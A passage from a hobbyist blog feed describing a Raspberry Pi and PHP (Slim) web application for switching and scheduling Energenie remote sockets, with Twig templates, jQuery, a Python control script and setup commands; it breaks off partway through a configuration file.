        &lt;link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.14.0/css/all.min.css"&gt;
        &lt;style&gt;

            html,
            body {
                height: 100%;
            }
            label {
                font-size:87%
            }
            .socket-row {
                
            }

            .timeline {
                list-style-type: none;
                position: relative;
            }
            /* line */
            .timeline:before {
                content: ' ';
                background: #d4d9df;
                display: inline-block;
                position: absolute;
                left: 19px;
                width: 2px;
                height: 100%;
                z-index: 400;
            }

            .timeline-element {
                margin: 5px 0;
                padding: 10px 15px 10px 40px;
            }

            .timeline-element:hover {
                background-color: #f8f9fa;
            }

            /* timeline icon */
            .timeline-element:before {
                content: ' ';
                background: white;
                display: inline-block;
                position: absolute;
                border-radius: 50%;
                border: 3px solid #d4d9df;
                left: 10px;
                width: 20px;
                height: 20px;
                z-index: 400;
            }

            .timeline-element.dot-danger:before {
                border-color: #dc3545;
            }

            .timeline-element.dot-success:before {
                border-color: #28a745;
            }

            .timeline-element.dot-info:before {
                border-color: #17a2b8;
            }

            .timeline-element.dot-warning:before {
                border-color: #ffc107
            }

            .socket-detail-row .socket-detail-card-body-wrapper {
                height: 150px;
                overflow: auto;
            }

            .socket-detail-card-header {
                padding: .50rem 1rem;
            }

        &lt;/style&gt;
    &lt;/head&gt;

    &lt;body&gt;
        &lt;div class="container d-flex h-100 p-3 mx-auto flex-column"&gt;
            &lt;header class="mb-auto"&gt;
                &lt;h3 class="brand"&gt;Cam House Sockets&lt;/h3&gt;
            &lt;/header&gt;

            &lt;main role="main"&gt;
                &lt;div class="alert" role="alert" style="display:none"&gt;
                &lt;/div&gt;
                {% for socket in sockets %}
                    &lt;div data-id={{ socket.id }} data-name="{{ socket.name }}" class="socket-row"&gt;
                        &lt;div class="row border-top pb-1 pt-1"&gt;
                            &lt;div class="col-sm-1 align-self-center"&gt;# {{ socket.id }}&lt;/div&gt;
                            &lt;div class="col-sm align-self-center"&gt;{{ socket.name }}&lt;/div&gt;
                            &lt;div class="col-sm align-self-center"&gt;{{ socket.description }}&lt;/div&gt;
                            &lt;div class="col-sm align-self-center"&gt;
                                &lt;div class="btn-group" role="group"&gt;
                                    &lt;button class="btn btn-warning btn-on"&gt;on&lt;/button&gt; 
                                    &lt;button class="btn btn-secondary btn-off"&gt;off&lt;/button&gt; 
                                &lt;/div&gt;
                                &lt;button class="btn btn-outline-dark" data-toggle="collapse" href="#socketDetail{{ socket.id }}" role="button" aria-expanded="false" aria-controls="socketDetail{{ socket.id }}"&gt;
                                    &lt;i class="fa fa-caret-down"&gt;&lt;/i&gt;
                                &lt;/button&gt;
                            &lt;/div&gt;
                        &lt;/div&gt;
                        &lt;div id="socketDetail{{ socket.id }}" class="socket-detail-row row border-top pb-1 pt-1 collapse"&gt;
                            &lt;div class="col-sm align-self-center"&gt;
                                &lt;div class="card socket-detail-card"&gt;
                                    &lt;div class="card-header socket-detail-card-header"&gt;
                                        &lt;i class="far fa-clock"&gt;&lt;/i&gt; Programmed actions
                                        &lt;span class="float-right"&gt;
                                            &lt;button class="btn btn-info btn-sm btn-new-event"&gt;&lt;i class="fas fa-plus"&gt;&lt;/i&gt; Add action&lt;/button&gt;
                                            &lt;button class="btn btn-info btn-sm btn-edit-events"&gt;&lt;i class="fas fa-edit"&gt;&lt;/i&gt; Edit events&lt;/button&gt;
                                        &lt;/span&gt;
                                    &lt;/div&gt;
                                    &lt;div class="socket-detail-card-body-wrapper"&gt;
                                        &lt;div class="card-body"&gt;
                                            {% if socket.events is not empty %}
                                                &lt;div class="timeline"&gt;
                                                    {% for event in socket.events %}
                                                        &lt;div data-event-id={{event.id}} class="timeline-element {% if event.operationName == 'on' %}dot-warning{% endif %}"&gt;
                                                            &lt;div&gt;
                                                                &lt;span&gt;switch &lt;span class="badge {% if event.operationName == 'on' %}badge-warning{% else %}badge-secondary{% endif %}"&gt;{{ event.operationName }}&lt;/span&gt;, at {{ event.timeString }}&lt;/span&gt;
                                                                &lt;div class="float-right"&gt;
                                                                    &lt;button class="btn btn-outline-secondary btn-sm btn-edit-event" title="edit"&gt;&lt;i class="fas fa-edit"&gt;&lt;/i&gt;&lt;/button&gt;
                                                                    &lt;button class="btn btn-outline-secondary btn-sm btn-delete-event" title="delete"&gt;&lt;i class="fas fa-trash"&gt;&lt;/i&gt;&lt;/button&gt;
                                                                &lt;/div&gt;
                                                            &lt;/div&gt;
                                                        &lt;/div&gt;
                                                    {% endfor %}
                                                &lt;/div&gt;
                                            {% else %}
                                                &lt;div&gt;No actions programmed for this socket&lt;/div&gt;
                                            {% endif %}
                                        &lt;/div&gt;
                                    &lt;/div&gt;
                                &lt;/div&gt;
                            &lt;/div&gt;
                            &lt;div class="col-sm align-self-center"&gt;
                                &lt;div class="card socket-detail-card"&gt;
                                    &lt;div class="card-header socket-detail-card-header"&gt;
                                        &lt;span class=""&gt;
                                            &lt;i class="fas fa-cog"&gt;&lt;/i&gt; Socket
                                        &lt;/span&gt;
                                        &lt;span class="float-right"&gt;
                                            &lt;button class="btn btn-info btn-sm btn-pair"&gt;&lt;i class="fas fa-link"&gt;&lt;/i&gt; Pair&lt;/button&gt; &lt;button class="btn btn-success btn-sm btn-edit-socket"&gt;&lt;i class="fas fa-edit"&gt;&lt;/i&gt; Edit&lt;/button&gt;
                                        &lt;/span&gt;
                                    &lt;/div&gt;
                                    &lt;div class="socket-detail-card-body-wrapper"&gt;
                                        &lt;ul class="list-group list-group-flush"&gt;
                                            {% if socket.events is not empty %}
                                            &lt;li class="list-group-item"&gt;
                                                This socket should be &lt;span class="badge {% if socket.previousEvent.operationName == 'on' %}badge-warning{% else %}badge-secondary{% endif %}"&gt;{{ socket.previousEvent.operationName }}&lt;/span&gt; since {{socket.previousEvent.timeString}}
                                            &lt;/li&gt;
                                            &lt;li class="list-group-item"&gt;
                                                Next action: switch &lt;span class="badge {% if socket.nextEvent.operationName == 'on' %}badge-warning{% else %}badge-secondary{% endif %}"&gt;{{ socket.nextEvent.operationName }}&lt;/span&gt; at {{socket.nextEvent.timeString}}
                                            &lt;/li&gt;
                                            {% else %}
                                                &lt;div class="card-body"&gt;
                                                    &lt;div&gt;No next or previous actions to show&lt;/div&gt;
                                                &lt;/div&gt;
                                            {% endif %}
                                        &lt;/ul&gt;
                                    &lt;/div&gt;
                                &lt;/div&gt;
                            
                            &lt;/div&gt;
                        &lt;/div&gt;
                    &lt;/div&gt;
                {% endfor %}
            &lt;/main&gt;

            &lt;footer class="mt-auto"&gt;
            &lt;/footer&gt;
        &lt;/div&gt;

        &lt;div class="modal fade" id="formModal" tabindex="-1" role="dialog" aria-labelledby="formModalLabel" aria-hidden="true"&gt;
            &lt;div class="modal-dialog" role="document"&gt;
                &lt;div class="modal-content"&gt;
                &lt;div class="modal-header"&gt;
                    &lt;h5 class="modal-title" id="formModalLabel"&gt;&lt;/h5&gt;
                    &lt;button type="button" class="close" data-dismiss="modal" aria-label="Close"&gt;
                    &lt;span aria-hidden="true"&gt;&amp;times;&lt;/span&gt;
                    &lt;/button&gt;
                &lt;/div&gt;
                &lt;div class="modal-body"&gt;
                &lt;/div&gt;
                &lt;div class="modal-footer"&gt;
                    &lt;button type="button" class="btn btn-secondary" data-dismiss="modal"&gt;Close&lt;/button&gt;
                    &lt;button type="button" class="btn btn-primary modal-action-btn"&gt;Submit&lt;/button&gt;
                &lt;/div&gt;
                &lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;
        &lt;!-- JS, Popper.js, and jQuery --&gt;
        &lt;script src="https://code.jquery.com/jquery-3.5.1.js" integrity="sha256-QWo7LDvxbWT2tbbQ97B53yJnYU3WhH/C8ycbRAkjPDc=" crossorigin="anonymous"&gt;&lt;/script&gt;
        &lt;script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.1/dist/umd/popper.min.js" integrity="sha384-9/reFTGAW83EW2RDu2S0VKaIzap3H66lZH81PoYlFhbGU+6BZp6G7niu735Sk7lN" crossorigin="anonymous"&gt;&lt;/script&gt;
        &lt;script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js" integrity="sha384-B4gt1jrGC7Jh4AgTPSdUtOBvfO8shuf57BaghqFfPlYxofvL8/KUEfYiJOMMV+rV" crossorigin="anonymous"&gt;&lt;/script&gt;
    
        &lt;script&gt;
        	$(document).ready(function() {

                function serializeFormJson(form) {
                    var output = {};
                    var serialized = form.serializeArray();
                    $.each(serialized, function () {
                        if (output[this.name]) {
                            if (!output[this.name].push) {
                                output[this.name] = [output[this.name]];
                            }
                            output[this.name].push(this.value || '');
                        } else {
                            output[this.name] = this.value || '';
                        }
                    });
                    return output;
                };


                function switchSocket(url, socket){
                    $.post(url, { "socket" : socket }, null, "json")
                    .done((data) =&gt; {
                        $alert = $('.alert')
                        $alert.addClass('alert-success').html(data.message).fadeIn()
                        setTimeout(() =&gt; $alert.fadeOut(), 2000)
                    })
                    .fail((data) =&gt; {
                        $alert = $('.alert')
                        $alert.addClass('alert-danger').html(data.responseJSON.message).fadeIn()
                        setTimeout(() =&gt; $alert.fadeOut(), 2000)
                    });
                }

                $(".btn-on").click(function() {
                    const socketId = $(this).closest(".socket-row").data("id")
                    switchSocket("/switch/on", socketId)
                });

                $(".btn-off").click(function() {
                    const socketId = $(this).closest(".socket-row").data("id")
                    switchSocket("/switch/off", socketId)
                });

                $(".btn-pair").click(function() {
                    const socketId = $(this).closest(".socket-row").data("id")
                    switchSocket("/switch/pair", socketId)
                });

                $(".btn-new-event").click(function() {
                    const socketId = $(this).closest(".socket-row").data("id")
                    const socketName = $(this).closest(".socket-row").data("name")
                    editEvent(false, socketId)
                });

                $(".btn-edit-event").click(function() {
                    const socketId = $(this).closest(".socket-row").data("id")
                    const eventId = $(this).closest(".timeline-element").data("event-id")
                    editEvent(eventId, socketId)
                });

                $(".btn-edit-events").click(function() {
                    const socketId = $(this).closest(".socket-row").data("id")
                    editEvents(socketId)
                });

                $(".btn-delete-event").click(function() {
                    const eventId = $(this).closest(".timeline-element").data("event-id")
                    const confirmed = confirm("Are you sure?");
                    if (confirmed)
                    {
                        $.ajax({
                            url: `/events/${eventId}`,
                            method: "DELETE"
                        })
                        .done(() =&gt; {
                            location.reload();
                        })
                    }
                });

                function editEvent(id, socketId) {
                    const url = "/events/edit" + (id ? `/${id}` : "")
                    const modal = $("#formModal")
                    const title = (id ? "Edit event" : "Add new event") + ` for socket ${socketId}`;
                    $.get(url)
                    .done((htmlForm) =&gt; {
                        $(".modal-title").html(title)
                        $(".modal-body").html(htmlForm)
                        $(".modal-action-btn").click(() =&gt; {
                            const form = $("#event-form")
                            const jsonFormData = serializeFormJson(form);
                            const data = {
                                socket_id: socketId,
                                operation_name: jsonFormData.operation_name,
                                time: jsonFormData.hours + jsonFormData.minutes
                            }
                            $.ajax({
                                url: "/events" + (id ? `/${id}` : ""),
                                method: id ? "PUT" : "POST",
                                data:data
                            })
                            .done(() =&gt; {
                                location.reload();
                            })
                            
                        })
                        modal.modal({show: true})
                    });
                }

                function editEvents(socketId) {
                    const url = `/sockets/${socketId}/edit-events`
                    const modal = $("#formModal")
                    const title = "Edit events"
                    $.get(url)
                    .done((htmlForm) =&gt; {
                        $(".modal-title").html(title)
                        $(".modal-body").html(htmlForm)
                        $(".modal-action-btn").click(() =&gt; {
                            const form = $("#event-form")
                            const jsonFormData = serializeFormJson(form);
                            const data = {
                                socket_id: socketId,
                                operation_name: jsonFormData.operation_name,
                                time: jsonFormData.hours + jsonFormData.minutes
                            }
                            {# $.ajax({
                                url: "/events" + (id ? `/${id}` : ""),
                                method: id ? "PUT" : "POST",
                                data:data
                            })
                            .done(() =&gt; {
                                location.reload();
                            }) #}
                            
                        })
                        modal.modal({show: true})
                    });
                }

                $(".btn-edit-socket").click(function() {
                    const socketId = $(this).closest(".socket-row").data("id")
                    editSocket(socketId)
                });

                function editSocket(socketId) {
                    const url = "/sockets/edit" + (socketId ? `/${socketId}` : "")
                    const modal = $("#formModal")
                    const title = (socketId ? `Edit socket ${socketId}` : "Add new socket");
                    $.get(url)
                    .done((htmlForm) =&gt; {
                        $(".modal-title").html(title)
                        $(".modal-body").html(htmlForm)
                        $(".modal-action-btn").click(() =&gt; {
                            const form = $("#socket-form")
                            const jsonFormData = serializeFormJson(form);
                            $.ajax({
                                url: "/sockets" + (socketId ? `/${socketId}` : ""),
                                method: socketId ? "PUT" : "POST",
                                data:jsonFormData
                            })
                            .done(() =&gt; {
                                location.reload();
                            })
                            
                        })
                        modal.modal({show: true})
                    });
                }

            });
        &lt;/script&gt;
    &lt;/body&gt;
&lt;/html&gt;
</code></pre><figcaption>index.twig</figcaption></figure><p>And views to display the forms to create and edit events:</p><figure class="kg-card kg-code-card"><pre><code class="language-twig">&lt;form id="event-form" class="form-row"&gt;
    &lt;div class="col form-group"&gt;
        &lt;select name="operation_name" class="form-control"&gt;{{ event.operationName }}
        {% for operation in ['on', 'off'] %}
            &lt;option {{ (event.operationName and event.operationName == operation) ? 'selected' : '' }}&gt;{{ operation }}&lt;/option&gt;
        {% endfor %}
        &lt;/select&gt;
    &lt;/div&gt;
    &lt;div class="col form-group"&gt;
        &lt;select name="hours" class="form-control"&gt;
        {% for i in range(0, 23) %}
            &lt;option {{ (event.time and ('0' ~ event.time | slice(-4, 2)) == i) ? 'selected' : '' }}&gt;{{ i &lt; 10 ? '0' : ''}}{{i}}&lt;/option&gt;
        {% endfor %}
        &lt;/select&gt;
    &lt;/div&gt;:
    &lt;div class="col form-group"&gt;
        &lt;select name="minutes" class="form-control"&gt;
        {% for i in range(0, 59) %}
            &lt;option {{ (event.time and ('0' ~ event.time | slice(-2, 2)) == i) ? 'selected' : '' }}&gt;{{ i &lt; 10 ? '0' : ''}}{{i}}&lt;/option&gt;
        {% endfor %}
        &lt;/select&gt;
    &lt;/div&gt;
&lt;/form&gt;</code></pre><figcaption>create event, eventForm.twig</figcaption></figure><figure class="kg-card kg-code-card"><pre><code class="language-twig">&lt;form id="events-form"&gt;
    &lt;div class="form-rows"&gt;
    {% for event in socket.events %}
        &lt;div class="form-row"&gt;
            &lt;div class="col form-group"&gt;
                &lt;input type="hidden" name="id" value="{{ event.id }}"&gt;
                &lt;select name="operation_name" class="form-control"&gt;
                {% for operation in ["on", "off"] %}
                    &lt;option {{ (event.operationName and event.operationName == operation) ? "selected" : "" }}&gt;{{ operation }}&lt;/option&gt;
                {% endfor %}
                &lt;/select&gt;
            &lt;/div&gt;
            &lt;div class="col form-group"&gt;
                &lt;select name="hours" class="form-control"&gt;
                {% for i in range(0, 23) %}
                    &lt;option {{ (event.time and (("000" ~ event.time) | slice(-4, 2)) == i) ? "selected" : "" }}&gt;{{ i &lt; 10 ? "0" : ""}}{{i}}&lt;/option&gt;
                {% endfor %}
                &lt;/select&gt;
            &lt;/div&gt;:
            &lt;div class="col form-group"&gt;
                &lt;select name="minutes" class="form-control"&gt;
                {% for i in range(0, 59) %}
                    &lt;option {{ (event.time and (("0" ~ event.time) | slice(-2, 2)) == i) ? "selected" : "" }}&gt;{{ i &lt; 10 ? "0" : ""}}{{i}}&lt;/option&gt;
                {% endfor %}
                &lt;/select&gt;
            &lt;/div&gt;
            &lt;div class="col-1"&gt;
                &lt;button class="btn btn-danger btn-delete-event"&gt;&lt;i class="fas fa-trash"&gt;&lt;/i&gt;&lt;/button&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    {% endfor %}
    &lt;/div&gt;
    &lt;div class="col"&gt;
        &lt;div class="form-row"&gt;
            &lt;button class="btn btn-info btn-sm btn-add-event"&gt;&lt;i class="fas fa-plus"&gt;&lt;/i&gt; Add event&lt;/button&gt;
        &lt;/div&gt;
    &lt;/div&gt;

        &lt;script&gt;
        	$(document).ready(function() {

                $(".btn-add-event").click(function(e) {
                    e.preventDefault();

                    var formRow =                    
                        `&lt;div class="form-row"&gt;
                            &lt;div class="col form-group"&gt;
                                &lt;input type="hidden" name="id" value="{{ event.id }}"&gt;
                                &lt;select name="operation_name" class="form-control"&gt;
                                {% for operation in ["on", "off"] %}
                                    &lt;option&gt;{{ operation }}&lt;/option&gt;
                                {% endfor %}
                                &lt;/select&gt;
                            &lt;/div&gt;
                            &lt;div class="col form-group"&gt;
                                &lt;select name="hours" class="form-control"&gt;
                                {% for i in range(0, 23) %}
                                    &lt;option&gt;{{ i &lt; 10 ? "0" : ""}}{{i}}&lt;/option&gt;
                                {% endfor %}
                                &lt;/select&gt;
                            &lt;/div&gt;:
                            &lt;div class="col form-group"&gt;
                                &lt;select name="minutes" class="form-control"&gt;
                                {% for i in range(0, 59) %}
                                    &lt;option&gt;{{ i &lt; 10 ? "0" : ""}}{{i}}&lt;/option&gt;
                                {% endfor %}
                                &lt;/select&gt;
                            &lt;/div&gt;
                            &lt;div class="col-1"&gt;
                                &lt;button class="btn btn-danger btn-delete-event"&gt;&lt;i class="fas fa-trash"&gt;&lt;/i&gt;&lt;/button&gt;
                            &lt;/div&gt;
                        &lt;/div&gt;`;

                        $(".form-rows").append(formRow);
                });

                $(document).on("click", ".btn-delete-event", function(e) {
                    e.preventDefault();
                    $(this).closest(".form-row").remove();
                });

            });
        &lt;/script&gt;
&lt;/form&gt;</code></pre><figcaption>edit event, eventsEditForm.twig</figcaption></figure><p>Finaly, the view to edit the socket info:</p><figure class="kg-card kg-code-card"><pre><code class="language-twig">&lt;form id="socket-form"&gt;
    &lt;div class="row"&gt;
        &lt;div class="col form-group"&gt;
        &lt;label for="name"&gt;Name&lt;/label&gt;
            &lt;input name="name" class="form-control" value="{{ socket ? socket.name : '' }}"&gt;
        &lt;/div&gt;
    &lt;/div&gt;
    &lt;div class="row"&gt;
        &lt;div class="col form-group"&gt;
        &lt;label for="description"&gt;Description&lt;/label&gt;
            &lt;input name="description" class="form-control" value="{{ socket ? socket.description : '' }}"&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/form&gt;</code></pre><figcaption>socketForm.twig</figcaption></figure><p>Our web application has now been modified to accomodate all the new scheduling events and editing information:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://samuelrebollo.com/content/images/2021/05/Screenshot-2021-05-06-at-21.05.22.png" class="kg-image" alt="Raspberry Pi hosted web application to manage Energenie sockets II" width="2514" height="1340" srcset="https://samuelrebollo.com/content/images/size/w600/2021/05/Screenshot-2021-05-06-at-21.05.22.png 600w, https://samuelrebollo.com/content/images/size/w1000/2021/05/Screenshot-2021-05-06-at-21.05.22.png 1000w, https://samuelrebollo.com/content/images/size/w1600/2021/05/Screenshot-2021-05-06-at-21.05.22.png 1600w, https://samuelrebollo.com/content/images/size/w2400/2021/05/Screenshot-2021-05-06-at-21.05.22.png 2400w" sizes="(min-width: 720px) 720px"><figcaption>Home page</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://samuelrebollo.com/content/images/2021/05/Screenshot-2021-05-07-at-11.34.21.png" class="kg-image" alt="Raspberry Pi hosted web application to manage Energenie sockets II" width="1218" height="565" srcset="https://samuelrebollo.com/content/images/size/w600/2021/05/Screenshot-2021-05-07-at-11.34.21.png 600w, https://samuelrebollo.com/content/images/size/w1000/2021/05/Screenshot-2021-05-07-at-11.34.21.png 1000w, https://samuelrebollo.com/content/images/2021/05/Screenshot-2021-05-07-at-11.34.21.png 1218w" sizes="(min-width: 720px) 720px"><figcaption>Edit events</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://samuelrebollo.com/content/images/2021/05/Screenshot-2021-05-06-at-21.04.26.png" class="kg-image" alt="Raspberry Pi hosted web application to manage Energenie sockets II" width="2446" height="1312" srcset="https://samuelrebollo.com/content/images/size/w600/2021/05/Screenshot-2021-05-06-at-21.04.26.png 600w, https://samuelrebollo.com/content/images/size/w1000/2021/05/Screenshot-2021-05-06-at-21.04.26.png 1000w, https://samuelrebollo.com/content/images/size/w1600/2021/05/Screenshot-2021-05-06-at-21.04.26.png 1600w, https://samuelrebollo.com/content/images/size/w2400/2021/05/Screenshot-2021-05-06-at-21.04.26.png 2400w" sizes="(min-width: 720px) 720px"><figcaption>Edit socket</figcaption></figure><h2 id="deployment">Deployment </h2><p>As in the previous article, we will not set up any complex deployment strategy, so I'd refer to the <a href="https://samuelrebollo.com/raspberry-pi-hosted-web-application-to-manage-energenie-sockets/">previous article</a> to see how to upload files and add permissions.</p><p>As mentioned earlier, once the code is deployed we need to make use of a cron job to execute our command. To edit the cron jobs on our deployment server, we type.</p><pre><code class="language-terminal">crontab -e</code></pre><p>And then add the following line to execute the ScheduleRunCommand every minute:</p><pre><code>* * * * * /usr/bin/php /var/www/html/bin/console.php schedule:run</code></pre><h2 id="conclusion">Conclusion</h2><p>With this second development, we have updated the software to complete our project. We can now schedule our sockets to switch our lights at different times and give the appearance of the house being inhabited even if it is not.</p>]]></content:encoded></item><item><title><![CDATA[Raspberry Pi hosted web application to manage Energenie sockets]]></title><description><![CDATA[<p>Several years ago I purchased a set of <a href="https://energenie4u.co.uk/catalogue/product/ENER002-4">Energenie remote controlled sockets</a> that I used to be able to switch on my living room lamps from my sofa. Since I moved, I haven't put them to much use as they're not as convenient y my current house.</p><p>However, a neighbour</p>]]></description><link>https://samuelrebollo.com/raspberry-pi-hosted-web-application-to-manage-energenie-sockets/</link><guid isPermaLink="false">5f6e13495296fd2b670b17b6</guid><category><![CDATA[Raspberry Pi]]></category><category><![CDATA[PHP]]></category><category><![CDATA[Apache]]></category><category><![CDATA[MySQL]]></category><dc:creator><![CDATA[Samuel Rebollo Díaz]]></dc:creator><pubDate>Sun, 27 Sep 2020 19:22:02 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1553406830-f6e44ac97624?ixlib=rb-1.2.1&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=2000&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ" medium="image"/><content:encoded><![CDATA[<img src="https://images.unsplash.com/photo-1553406830-f6e44ac97624?ixlib=rb-1.2.1&q=80&fm=jpg&crop=entropy&cs=tinysrgb&w=2000&fit=max&ixid=eyJhcHBfaWQiOjExNzczfQ" alt="Raspberry Pi hosted web application to manage Energenie sockets"><p>Several years ago I purchased a set of <a href="https://energenie4u.co.uk/catalogue/product/ENER002-4">Energenie remote controlled sockets</a> that I used to be able to switch on my living room lamps from my sofa. Since I moved, I haven't put them to much use as they're not as convenient y my current house.</p><p>However, a neighbour had a break-in this summer and that made me think I could try and find out the way to program these to switch on and off lights or other devices while we're away so I can give the impression that the house is not empty and avoid a posible burglar threat.</p><p>The same company developed a <a href="https://energenie4u.co.uk/catalogue/product/ENER314">control board for Raspberry Pi (PiMote)</a> so I thought I could use that and develop a piece of software to program them while we're away. Maybe even to action them remotely from our mobile phone or computer.</p><p>This article will cover the first step, ie, set up the Raspberry Pi as a with PiMote to pair with and action the sockets and develop a simple web application to operate the sockets from there.</p><h2 id="set-up-the-raspberry-pi">Set up the Raspberry Pi</h2><p>The first steps to set up the Raspberry Pi are easy to reproduce, a quick google search should be enough if you encounter any trouble:</p><ul><li>Download the latest Raspberry Pi OS and burn the SD card using <a href="https://www.raspberrypi.org/downloads/">Raspberry Pi Imager</a>. The Lite version is enough as we do not need any graphic interface for this project.</li><li>Plug the PiMote board to the Raspberry Pi, the power source and wait until it boots.</li><li>Config WiFi settings or plug the Ethernet cable.</li><li>Activate SSH to be able to connect to your RPi remotely.</li></ul><p>Once all this is ready, we can ssh into our RPi from our computer.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://samuelrebollo.com/content/images/2020/10/Screenshot-2020-10-14-at-10.11.35.png" class="kg-image" alt="Raspberry Pi hosted web application to manage Energenie sockets" width="1610" height="784" srcset="https://samuelrebollo.com/content/images/size/w600/2020/10/Screenshot-2020-10-14-at-10.11.35.png 600w, https://samuelrebollo.com/content/images/size/w1000/2020/10/Screenshot-2020-10-14-at-10.11.35.png 1000w, https://samuelrebollo.com/content/images/size/w1600/2020/10/Screenshot-2020-10-14-at-10.11.35.png 1600w, https://samuelrebollo.com/content/images/2020/10/Screenshot-2020-10-14-at-10.11.35.png 1610w" sizes="(min-width: 720px) 720px"><figcaption>Energenie Raspberry Pi RF-Transmitter Board</figcaption></figure><h2 id="use-pimote-to-operate-the-energenie-sockets">Use PiMote to operate the Energenie sockets</h2><p>The oficial <a href="https://energenie4u.co.uk/res/pdfs/ENER314%20UM.pdf">PiMote Manual</a> is a very good guide to learn how to operate the Energenie sockets from our RPi. I used its example to develop the python scripts for this projects. First, let's ssh into our RPi:</p><figure class="kg-card kg-code-card"><pre><code class="language-terminal">$ ssh 192.168.0.31</code></pre><figcaption>Substitute the IP address for the one of your own Raspberry Pi</figcaption></figure><p>First, we need to pair the sockets to PiMote, for which I developed <a href="https://gist.github.com/samuelrd/bb635e7bc54d9f25b0f429bacf93fb2b">this script</a>, heavily based on the official manual. First, create a new file:</p><pre><code class="language-terminal">$ sudo nano energenie_pair.py</code></pre><p>Paste the <a href="https://gist.github.com/samuelrd/bb635e7bc54d9f25b0f429bacf93fb2b">script</a> code and save.</p><p>Plug one of the sockets and press the switch until the LED light starts blinking. Then execute the script like this:</p><pre><code class="language-terminal">$ python energenie_pair.py 1</code></pre><p>Press enter when asked and the led light of your Socket should turn off. Then, you will have paired the Socket "1" to your RPi+PiMote device. It is convenient to label your socket in order not to forget which one is which.</p><p>As you can see on this script, pairing and switching the sockets is done through a control code which is different depending on the socket and the action. In order to simplify things, there is a <a href="https://pypi.python.org/pypi/energenie" rel="noopener">Python library</a> available to deal with the RPi.GPIO details. First we install the python library:</p><pre><code>$ sudo apt-get install python-pip
$ sudo pip install energenie</code></pre><p>Then, the switch script is pretty easy:</p><figure class="kg-card kg-code-card"><pre><code class="language-python">#!/usr/bin/env python

# Import modules
import energenie as e
import time
import sys

# Get command line arguments
socketID=int(sys.argv[1])
action=sys.argv[2]

if(socketID &gt; 4 or socketID &lt; 1 or (action != 'on' and action != 'off')):
  exit("Invalid arguments")

if(sys.argv[2] == 'on'):
  e.switch_on(socketID)
elif(sys.argv[2] == 'off'):
  e.switch_off(socketID)</code></pre><figcaption>energenie_switch.py</figcaption></figure><p>Using this script, we can just switch on or off our energenie socket just by typing:</p><pre><code class="language-terminal">$ python energenie_switch 1 on

$ python energenie_switch 1 off</code></pre><p>These command will switch on and off the Energenie socket paired as 1.</p><p>With this and <a href="https://samuelrebollo.com/set-up-cron-job/">cron</a>, it should be enough to program lights to be switched on and off at certain times. However, this is not all we want. We want to be able to easily switch the sockets from a nice web interface and ultimately even being able to schedule programs. The next step will cover the creation of a PHP web interface and set-up of an Apache server on our RPi that will serve our GUI.</p><h2 id="the-software">The software</h2><p>Even though this problem could be solved by putting together a couple of scripts. I always tend not to go the "easy" way and just do it because I know at some point it will break. Every software project, as simple as they can be, should be tackled in an organised manner. I've been a software engineer for long enough to know the benefits of  a properly structured project and the use of good practice and development techniques even for the simplest projects. For this reason, I decided to use some open source tools to lean on in order to ease the development as well as help to keep the project structured.</p><p>This instructions assume that you have your own web development environment using PHP + MySQL and related tools to develop our application. Although it would be technically possible to develop directly on the Raspberry Pi, it would not be at all advisable, plus we can explain the setup of the server and deployment of the application later, giving an idea of how a real world project works.</p><h3 id="slim-framework">Slim framework</h3><p>For this project, the primary tool I'll be using is the <a href="http://www.slimframework.com/">Slim PHP framework</a>, a <em>"a PHP micro framework that helps you quickly write simple yet powerful web applications and APIs". </em>It is a very simple framework, quick to learn and lean (you could understand its source code in a day). You can read more about this framwork on its official <a href="http://www.slimframework.com/">website</a>.</p><p>Install framework using composer:</p><pre><code class="language-terminal">composer require slim/slim:"4.*"</code></pre><p>Slim requires <em>any</em> implementation of <a href="https://github.com/php-fig/http-message">PSR-7</a> interfaces for its Request and Response objects, but also has its own ones. We need to install them separately:</p><pre><code class="language-terminal">composer require slim/psr7</code></pre><p>Optionally, we can use a dependency container to prepare, manage, and inject application dependencies. Slim supports containers that implement <a href="http://www.php-fig.org/psr/psr-11/">PSR-11</a> like <a href="http://php-di.org/doc/frameworks/slim.html">PHP-DI</a>. To install it, type:</p><pre><code class="language-terminal">composer require php-di/php-di</code></pre><p>Once we have installed these, let's create a directory structure for the project:</p><pre><code>.
├── bin/                Executable files
│   └── energenie_pair.py
│   └── energenie_switch.py
├── config/              App configuration
│   └── bootstrap.php   bootstrapping the application
├── public/             Web server files (DocumentRoot)
│   └── .htaccess       Apache redirect rules for the front controller
│   └── index.php       The application entry point
├── src/                PHP source code
├── templates/          Twig templates
├── var/                Temporary files (cache and logfiles)
├── vendor/             External package (for composer)
├── .htaccess           Internal redirect to the public/ directory
├── .env                Environment variables (DB access) and config values
├── .gitignore          Git ignore rules
└── composer.json       Project dependencies and autoloader</code></pre><p>And add a working <a href="https://www.php-fig.org/psr/psr-4/">PSR-4 autoloader</a> for the <code>src/</code> directory.</p><pre><code class="language-JSON">"autoload": {
    "psr-4": {
        "App\\": "src/"
    }
}
</code></pre><p>Run <code>composer update</code> for the changes to take effect.</p><h3 id="entrypoint">Entrypoint</h3><p>Our application should have a single entry point from which the whole application should be served. We will use Apache redirections later to rewrite rules to redirect the web traffic to this single entry point to the application. First, create the application entry point in <code>public/index.php</code>:</p><pre><code class="language-PHP">&lt;?php

(require __DIR__ . '/../config/bootstrap.php')-&gt;run();

</code></pre><h3 id="configuration">Configuration</h3><p>In order to simplify things, we will put all our settings, config and bootstrap code in a single file, which is enough due to the simplicity of this project. If this gets too complex, we can always divide it into several files to separate concerns. In the config directory, create the bootstrap.php file:</p><pre><code class="language-PHP">&lt;?php

use DI\ContainerBuilder;
use Psr\Container\ContainerInterface;
use Slim\App;
use Slim\Factory\AppFactory;

$containerBuilder = new ContainerBuilder();

// Build PHP-DI Container instance
$container = $containerBuilder-&gt;build();

// Instantiate the app
